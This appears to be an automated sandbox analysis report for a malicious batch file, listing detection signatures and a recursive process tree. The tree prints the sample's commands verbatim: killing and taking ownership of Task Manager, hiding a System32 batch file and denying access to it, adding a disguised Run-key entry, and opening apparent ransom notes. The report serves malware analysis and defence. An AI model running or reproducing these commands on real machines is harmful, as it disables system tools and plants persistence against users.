3e45ddc08bb9c1604b399fd5e43546877bc0c290df087dd2697816b8eeadabaf

Resubmissions

28/03/2025, 23:13

250328-27d4aavpy6 8

28/03/2025, 23:11

250328-26lrqsvpx2 8

Analysis

max time kernel
30s
max time network
24s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
28/03/2025, 23:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

mainversion.bat
Size

3KB
MD5

97422af7164bd8af68e3ff991ed685a5
SHA1

46f9d4c9eb4be48b0579d9b5ce01ef0fed7cf3e4
SHA256

3e45ddc08bb9c1604b399fd5e43546877bc0c290df087dd2697816b8eeadabaf
SHA512

72a36da2099eb75da04bd0df431a67d2447eb25179339c6772946d64bc8fe1d4fc9b6fee5c43a18724baf4026c8fc8bd6e280c05d6216944be77892b876ea15e

Score

8^/10

defense_evasion discovery exploit persistence

Malware Config

Signatures

Possible privilege escalation attempt 64 IoCs

exploit

pid	Process
3664	icacls.exe
3800	icacls.exe
3764	icacls.exe
5340	icacls.exe
5216	icacls.exe
1348	takeown.exe
2812	takeown.exe
3360	takeown.exe
948	takeown.exe
5912	icacls.exe
6032	icacls.exe
1608	takeown.exe
1412	icacls.exe
4592	icacls.exe
6496	takeown.exe
7724	icacls.exe
9032	icacls.exe
428	takeown.exe
1208	icacls.exe
804	icacls.exe
1888	icacls.exe
2380	icacls.exe
7204	icacls.exe
3912	icacls.exe
4776	icacls.exe
4564	icacls.exe
5408	icacls.exe
5576	icacls.exe
6400	icacls.exe
2644	icacls.exe
3764	icacls.exe
5288	icacls.exe
5328	icacls.exe
6340	icacls.exe
6424	icacls.exe
7092	icacls.exe
8308	icacls.exe
1796	icacls.exe
5352	icacls.exe
3428	icacls.exe
7072	icacls.exe
8320	icacls.exe
3516	icacls.exe
2544	icacls.exe
2444	icacls.exe
1652	icacls.exe
1636	icacls.exe
2060	takeown.exe
4696	icacls.exe
1812	icacls.exe
3216	icacls.exe
2980	icacls.exe
3728	icacls.exe
2568	icacls.exe
3800	icacls.exe
1928	takeown.exe
5384	icacls.exe
6196	icacls.exe
3096	icacls.exe
2868	icacls.exe
8888	takeown.exe
7496	icacls.exe
3440	icacls.exe
4168	icacls.exe

Sets file to hidden 1 TTPs 26 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1964	attrib.exe
324	attrib.exe
6496	attrib.exe
7548	attrib.exe
7504	attrib.exe
7672	attrib.exe
4532	attrib.exe
4672	attrib.exe
4144	attrib.exe
1044	attrib.exe
5420	attrib.exe
2800	attrib.exe
7240	attrib.exe
3732	attrib.exe
3436	attrib.exe
1664	attrib.exe
1252	attrib.exe
6732	attrib.exe
8472	attrib.exe
2800	attrib.exe
444	attrib.exe
3216	attrib.exe
3012	attrib.exe
5412	attrib.exe
5816	attrib.exe
4728	attrib.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	cscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	cscript.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\error.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\error.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\error.bat	cmd.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2808	icacls.exe
5396	icacls.exe
5020	icacls.exe
5576	icacls.exe
6196	icacls.exe
7204	icacls.exe
7220	icacls.exe
4508	icacls.exe
804	icacls.exe
4496	icacls.exe
1888	icacls.exe
1812	icacls.exe
5368	icacls.exe
8188	icacls.exe
8464	icacls.exe
1348	takeown.exe
4548	icacls.exe
1796	icacls.exe
5308	icacls.exe
5352	icacls.exe
1284	icacls.exe
3912	icacls.exe
1208	icacls.exe
4564	icacls.exe
4844	icacls.exe
6388	icacls.exe
7524	icacls.exe
1544	takeown.exe
3020	icacls.exe
3948	icacls.exe
6340	icacls.exe
1624	icacls.exe
1636	icacls.exe
4072	icacls.exe
428	icacls.exe
2316	takeown.exe
7600	icacls.exe
7332	icacls.exe
9032	icacls.exe
2428	icacls.exe
3664	icacls.exe
1992	icacls.exe
2868	icacls.exe
6016	takeown.exe
5408	icacls.exe
6464	icacls.exe
7940	icacls.exe
3440	icacls.exe
1652	icacls.exe
1412	icacls.exe
3672	icacls.exe
5328	icacls.exe
5216	icacls.exe
3796	icacls.exe
7092	icacls.exe
7232	icacls.exe
7540	icacls.exe
4000	takeown.exe
2812	takeown.exe
1044	icacls.exe
2748	takeown.exe
2412	icacls.exe
4696	icacls.exe
948	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Security Update = "C:\\Windows\\System32\\flare.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Security Update = "C:\\Windows\\System32\\flare.bat"	reg.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File created	C:\Windows\System32\flare.bat	cmd.exe
File opened for modification	C:\Windows\System32\flare.bat	cmd.exe
File opened for modification	C:\Windows\System32\flare.bat	attrib.exe
File created	C:\Windows\System32\flare_helper.bat	cmd.exe
File opened for modification	C:\Windows\System32\flare_helper.bat	cmd.exe
File opened for modification	C:\Windows\System32\flare.bat	attrib.exe
File opened for modification	C:\Windows\System32\flare_helper.bat	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 64 IoCs

defense_evasion

pid	Process
7672	timeout.exe
5204	timeout.exe
7496	timeout.exe
7548	timeout.exe
8500	timeout.exe
8724	timeout.exe
4672	timeout.exe
1532	timeout.exe
1284	timeout.exe
7164	timeout.exe
8628	timeout.exe
9172	timeout.exe
7088	timeout.exe
7780	timeout.exe
6812	timeout.exe
4844	timeout.exe
6556	timeout.exe
7180	timeout.exe
3616	timeout.exe
5280	timeout.exe
8	timeout.exe
5124	timeout.exe
6308	timeout.exe
8088	timeout.exe
8120	timeout.exe
8040	timeout.exe
7952	timeout.exe
8940	timeout.exe
7252	timeout.exe
5176	timeout.exe
7332	timeout.exe
3416	timeout.exe
2300	timeout.exe
5200	timeout.exe
5788	timeout.exe
7236	timeout.exe
8092	timeout.exe
8476	timeout.exe
6812	timeout.exe
3960	timeout.exe
3428	timeout.exe
3732	timeout.exe
5724	timeout.exe
5864	timeout.exe
8072	timeout.exe
4592	timeout.exe
6444	timeout.exe
5064	timeout.exe
3372	timeout.exe
6140	timeout.exe
6088	timeout.exe
6812	timeout.exe
8356	timeout.exe
8540	timeout.exe
8464	timeout.exe
5204	timeout.exe
4452	timeout.exe
5744	timeout.exe
7188	timeout.exe
8616	timeout.exe
3192	timeout.exe
2588	timeout.exe
7272	timeout.exe
7836	timeout.exe

Kills process with taskkill 13 IoCs

defense_evasion

pid	Process
2252	taskkill.exe
1652	taskkill.exe
1528	taskkill.exe
7068	taskkill.exe
8720	taskkill.exe
3040	taskkill.exe
4288	taskkill.exe
3464	taskkill.exe
1628	taskkill.exe
2380	taskkill.exe
5968	taskkill.exe
5600	taskkill.exe
8136	taskkill.exe

Opens file in notepad (likely ransom note) 25 IoCs

ransomware

pid	Process
5440	notepad.exe
6332	notepad.exe
6480	notepad.exe
7572	notepad.exe
1880	notepad.exe
4628	notepad.exe
4636	notepad.exe
3616	notepad.exe
7352	notepad.exe
3812	notepad.exe
5248	notepad.exe
5464	notepad.exe
7592	notepad.exe
7844	notepad.exe
4964	notepad.exe
444	notepad.exe
4220	notepad.exe
4956	notepad.exe
3952	notepad.exe
5456	notepad.exe
6528	notepad.exe
2744	notepad.exe
1588	notepad.exe
3152	notepad.exe
716	notepad.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	3040	taskkill.exe
Token: SeTakeOwnershipPrivilege	4144	takeown.exe
Token: SeTakeOwnershipPrivilege	4000	takeown.exe
Token: SeDebugPrivilege	4288	taskkill.exe
Token: SeTakeOwnershipPrivilege	1348	takeown.exe
Token: SeTakeOwnershipPrivilege	2400	takeown.exe
Token: SeDebugPrivilege	3464	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 4920	2220	cmd.exe	87
PID 2220 wrote to memory of 4920	2220	cmd.exe	87
PID 2220 wrote to memory of 1844	2220	cmd.exe	88
PID 2220 wrote to memory of 1844	2220	cmd.exe	88
PID 1844 wrote to memory of 1960	1844	net.exe	89
PID 1844 wrote to memory of 1960	1844	net.exe	89
PID 2220 wrote to memory of 3040	2220	cmd.exe	90
PID 2220 wrote to memory of 3040	2220	cmd.exe	90
PID 2220 wrote to memory of 4144	2220	cmd.exe	92
PID 2220 wrote to memory of 4144	2220	cmd.exe	92
PID 2220 wrote to memory of 4000	2220	cmd.exe	93
PID 2220 wrote to memory of 4000	2220	cmd.exe	93
PID 2220 wrote to memory of 3516	2220	cmd.exe	94
PID 2220 wrote to memory of 3516	2220	cmd.exe	94
PID 2220 wrote to memory of 2644	2220	cmd.exe	95
PID 2220 wrote to memory of 2644	2220	cmd.exe	95
PID 2220 wrote to memory of 2800	2220	cmd.exe	96
PID 2220 wrote to memory of 2800	2220	cmd.exe	96
PID 2220 wrote to memory of 232	2220	cmd.exe	97
PID 2220 wrote to memory of 232	2220	cmd.exe	97
PID 2220 wrote to memory of 428	2220	cmd.exe	98
PID 2220 wrote to memory of 428	2220	cmd.exe	98
PID 2220 wrote to memory of 2332	2220	cmd.exe	99
PID 2220 wrote to memory of 2332	2220	cmd.exe	99
PID 2220 wrote to memory of 3544	2220	cmd.exe	100
PID 2220 wrote to memory of 3544	2220	cmd.exe	100
PID 2220 wrote to memory of 2740	2220	cmd.exe	103
PID 2220 wrote to memory of 2740	2220	cmd.exe	103
PID 2220 wrote to memory of 1880	2220	cmd.exe	104
PID 2220 wrote to memory of 1880	2220	cmd.exe	104
PID 2220 wrote to memory of 2600	2220	cmd.exe	105
PID 2220 wrote to memory of 2600	2220	cmd.exe	105
PID 2220 wrote to memory of 2996	2220	cmd.exe	106
PID 2220 wrote to memory of 2996	2220	cmd.exe	106
PID 2220 wrote to memory of 4676	2220	cmd.exe	107
PID 2220 wrote to memory of 4676	2220	cmd.exe	107
PID 2220 wrote to memory of 1808	2220	cmd.exe	108
PID 2220 wrote to memory of 1808	2220	cmd.exe	108
PID 2220 wrote to memory of 2544	2220	cmd.exe	109
PID 2220 wrote to memory of 2544	2220	cmd.exe	109
PID 2220 wrote to memory of 1624	2220	cmd.exe	110
PID 2220 wrote to memory of 1624	2220	cmd.exe	110
PID 2220 wrote to memory of 3852	2220	cmd.exe	111
PID 2220 wrote to memory of 3852	2220	cmd.exe	111
PID 2220 wrote to memory of 2428	2220	cmd.exe	112
PID 2220 wrote to memory of 2428	2220	cmd.exe	112
PID 2220 wrote to memory of 4660	2220	cmd.exe	113
PID 2220 wrote to memory of 4660	2220	cmd.exe	113
PID 2220 wrote to memory of 3732	2220	cmd.exe	114
PID 2220 wrote to memory of 3732	2220	cmd.exe	114
PID 2220 wrote to memory of 2744	2220	cmd.exe	115
PID 2220 wrote to memory of 2744	2220	cmd.exe	115
PID 2220 wrote to memory of 3252	2220	cmd.exe	116
PID 2220 wrote to memory of 3252	2220	cmd.exe	116
PID 3252 wrote to memory of 452	3252	cscript.exe	117
PID 3252 wrote to memory of 452	3252	cscript.exe	117
PID 2220 wrote to memory of 5048	2220	cmd.exe	120
PID 2220 wrote to memory of 5048	2220	cmd.exe	120
PID 452 wrote to memory of 2548	452	cmd.exe	121
PID 452 wrote to memory of 2548	452	cmd.exe	121
PID 2220 wrote to memory of 5064	2220	cmd.exe	123
PID 2220 wrote to memory of 5064	2220	cmd.exe	123
PID 2548 wrote to memory of 2488	2548	cmd.exe	193
PID 2548 wrote to memory of 2488	2548	cmd.exe	193

Views/modifies file attributes 1 TTPs 26 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4672	attrib.exe
3216	attrib.exe
1252	attrib.exe
1964	attrib.exe
5816	attrib.exe
7548	attrib.exe
444	attrib.exe
4532	attrib.exe
4144	attrib.exe
1044	attrib.exe
2800	attrib.exe
6496	attrib.exe
6732	attrib.exe
7504	attrib.exe
2800	attrib.exe
3012	attrib.exe
5420	attrib.exe
5412	attrib.exe
7672	attrib.exe
7240	attrib.exe
1664	attrib.exe
4728	attrib.exe
324	attrib.exe
8472	attrib.exe
3732	attrib.exe
3436	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\mainversion.bat"
1⤵
- Drops startup file
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\system32\msg.exe
  msg * "Fatal Error: Something unusual has occured. Maybe try restarting your PC?"
  2⤵
  PID:4920
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1844
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1960
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3040
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\System32\taskmgr.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4144
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\SysWOW64\taskmgr.exe
  2⤵
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4000
- C:\Windows\system32\icacls.exe
  icacls C:\Windows\System32\taskmgr.exe /grant administrators:F
  2⤵
  - Possible privilege escalation attempt
  PID:3516
- C:\Windows\system32\icacls.exe
  icacls C:\Windows\SysWOW64\taskmgr.exe /grant administrators:F
  2⤵
  - Possible privilege escalation attempt
  PID:2644
- C:\Windows\system32\attrib.exe
  attrib +s +h +r "C:\Windows\System32\flare.bat"
  2⤵
  - Sets file to hidden
  - Drops file in System32 directory
  - Views/modifies file attributes
  PID:2800
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\flare.bat" /deny Everyone:(F)
  2⤵
  PID:232
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\flare.bat" /deny SYSTEM:(F)
  2⤵
  - Modifies file permissions
  PID:428
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\flare.bat" /deny Administrators:(F)
  2⤵
  PID:2332
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Update" /t REG_SZ /d "C:\Windows\System32\flare.bat" /f
  2⤵
  - Adds Run key to start application
  PID:3544
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:2740
- C:\Windows\system32\notepad.exe
  notepad "C:\Users\Admin\Desktop\flare_warning.txt"
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1880
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\CON" /deny Everyone:(F
  2⤵
  PID:2600
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\PRN" /deny Everyone:(F
  2⤵
  PID:2996
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\AUX" /deny Everyone:(F
  2⤵
  PID:4676
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\NUL" /deny Everyone:(F
  2⤵
  PID:1808
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\COM1" /deny Everyone:(F
  2⤵
  - Possible privilege escalation attempt
  PID:2544
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\COM2" /deny Everyone:(F
  2⤵
  - Modifies file permissions
  PID:1624
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\COM3" /deny Everyone:(F
  2⤵
  PID:3852
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\LPT1" /deny Everyone:(F
  2⤵
  - Modifies file permissions
  PID:2428
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\LPT2" /deny Everyone:(F
  2⤵
  PID:4660
- C:\Windows\system32\attrib.exe
  attrib +s +h "C:\Users\Admin\Desktop\LPT2"
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:3732
- C:\Windows\system32\notepad.exe
  notepad "C:\Users\Admin\Desktop\LPT2\Fixes.txt"
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2744
- C:\Windows\system32\cscript.exe
  cscript //nologo C:\Users\Admin\AppData\Local\Temp\launch_hidden.vbs
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3252
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /min C:\Users\Admin\AppData\Local\Temp\mainversion.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:452
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\mainversion.bat
      4⤵
      Drops startup file
      Drops file in System32 directory
      Suspicious use of WriteProcessMemory
      PID:2548
    - - C:\Windows\system32\msg.exe
        
        msg * "Fatal Error: Something unusual has occured. Maybe try restarting your PC?"
        5⤵
        
        PID:2488
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        
        PID:2268
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:844
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4288
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\taskmgr.exe
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:1348
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\SysWOW64\taskmgr.exe
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2400
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\taskmgr.exe /grant administrators:F
        5⤵
        
        PID:4520
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\SysWOW64\taskmgr.exe /grant administrators:F
        5⤵
        
        PID:1868
    - - C:\Windows\system32\attrib.exe
        
        attrib +s +h +r "C:\Windows\System32\flare.bat"
        5⤵
        Sets file to hidden
        Drops file in System32 directory
        Views/modifies file attributes
        
        PID:3436
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Everyone:(F)
        5⤵
        Modifies file permissions
        
        PID:4508
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny SYSTEM:(F)
        5⤵
        
        PID:4856
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Administrators:(F)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3664
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Update" /t REG_SZ /d "C:\Windows\System32\flare.bat" /f
        5⤵
        Adds Run key to start application
        
        PID:1768
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe
        5⤵
        
        PID:840
    - - C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\flare_warning.txt"
        5⤵
        Opens file in notepad (likely ransom note)
        
        PID:4628
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\CON" /deny Everyone:(F
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3440
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\PRN" /deny Everyone:(F
        5⤵
        
        PID:5052
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\AUX" /deny Everyone:(F
        5⤵
        Possible privilege escalation attempt
        
        PID:3216
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\NUL" /deny Everyone:(F
        5⤵
        
        PID:3728
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM1" /deny Everyone:(F
        5⤵
        Possible privilege escalation attempt
        
        PID:2444
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM2" /deny Everyone:(F
        5⤵
        
        PID:1412
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM3" /deny Everyone:(F
        5⤵
        
        PID:2568
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT1" /deny Everyone:(F
        5⤵
        Possible privilege escalation attempt
        
        PID:3800
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT2" /deny Everyone:(F
        5⤵
        
        PID:3696
    - - C:\Windows\system32\attrib.exe
        
        attrib +s +h "C:\Users\Admin\Desktop\LPT2"
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:444
    - - C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\LPT2\Fixes.txt"
        5⤵
        Opens file in notepad (likely ransom note)
        
        PID:4964
    - - C:\Windows\system32\cscript.exe
        
        cscript //nologo C:\Users\Admin\AppData\Local\Temp\launch_hidden.vbs
        5⤵
        Checks computer location settings
        
        PID:2836
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /min C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        6⤵
        
        PID:4432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        7⤵
        Drops startup file
        
        PID:1960
        
        C:\Windows\system32\msg.exe
        
        msg * "Fatal Error: Something unusual has occured. Maybe try restarting your PC?"
        8⤵
        
        PID:5020
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:4148
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:3624
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3464
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\taskmgr.exe
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2812
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\SysWOW64\taskmgr.exe
        8⤵
        Possible privilege escalation attempt
        
        PID:428
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\taskmgr.exe /grant administrators:F
        8⤵
        Possible privilege escalation attempt
        
        PID:4168
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\SysWOW64\taskmgr.exe /grant administrators:F
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3912
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h +r "C:\Windows\System32\flare.bat"
        8⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:4532
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Everyone:(F)
        8⤵
        
        PID:3544
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny SYSTEM:(F)
        8⤵
        
        PID:2600
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Administrators:(F)
        8⤵
        
        PID:1692
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Update" /t REG_SZ /d "C:\Windows\System32\flare.bat" /f
        8⤵
        
        PID:1424
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe
        8⤵
        
        PID:4652
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\flare_warning.txt"
        8⤵
        Opens file in notepad (likely ransom note)
        
        PID:4636
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\CON" /deny Everyone:(F
        8⤵
        Possible privilege escalation attempt
        
        PID:4776
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\PRN" /deny Everyone:(F
        8⤵
        
        PID:4228
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\AUX" /deny Everyone:(F
        8⤵
        
        PID:3168
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\NUL" /deny Everyone:(F
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1208
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM1" /deny Everyone:(F
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1652
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM2" /deny Everyone:(F
        8⤵
        
        PID:3952
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM3" /deny Everyone:(F
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1636
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT1" /deny Everyone:(F
        8⤵
        
        PID:1480
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT2" /deny Everyone:(F
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:804
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h "C:\Users\Admin\Desktop\LPT2"
        8⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:4672
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\LPT2\Fixes.txt"
        8⤵
        Opens file in notepad (likely ransom note)
        
        PID:1588
        
        C:\Windows\system32\cscript.exe
        
        cscript //nologo C:\Users\Admin\AppData\Local\Temp\launch_hidden.vbs
        8⤵
        
        PID:2488
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /min C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        9⤵
        
        PID:4232
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        10⤵
        
        PID:364
        
        C:\Windows\system32\msg.exe
        
        msg * "Fatal Error: Something unusual has occured. Maybe try restarting your PC?"
        11⤵
        
        PID:3432
        
        C:\Windows\system32\net.exe
        
        net session
        11⤵
        
        PID:1260
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        12⤵
        
        PID:4208
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        11⤵
        Kills process with taskkill
        
        PID:2252
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\taskmgr.exe
        11⤵
        Possible privilege escalation attempt
        
        PID:1608
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\SysWOW64\taskmgr.exe
        11⤵
        Modifies file permissions
        
        PID:1544
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\taskmgr.exe /grant administrators:F
        11⤵
        
        PID:2492
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\SysWOW64\taskmgr.exe /grant administrators:F
        11⤵
        
        PID:3396
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h +r "C:\Windows\System32\flare.bat"
        11⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:3216
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Everyone:(F)
        11⤵
        
        PID:948
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny SYSTEM:(F)
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4564
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Administrators:(F)
        11⤵
        
        PID:2160
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Update" /t REG_SZ /d "C:\Windows\System32\flare.bat" /f
        11⤵
        
        PID:1528
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe
        11⤵
        
        PID:3696
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\flare_warning.txt"
        11⤵
        Opens file in notepad (likely ransom note)
        
        PID:444
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\CON" /deny Everyone:(F
        11⤵
        
        PID:1380
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\PRN" /deny Everyone:(F
        11⤵
        Modifies file permissions
        
        PID:1044
        
        C:\Windows\system32\icacls.exe
        
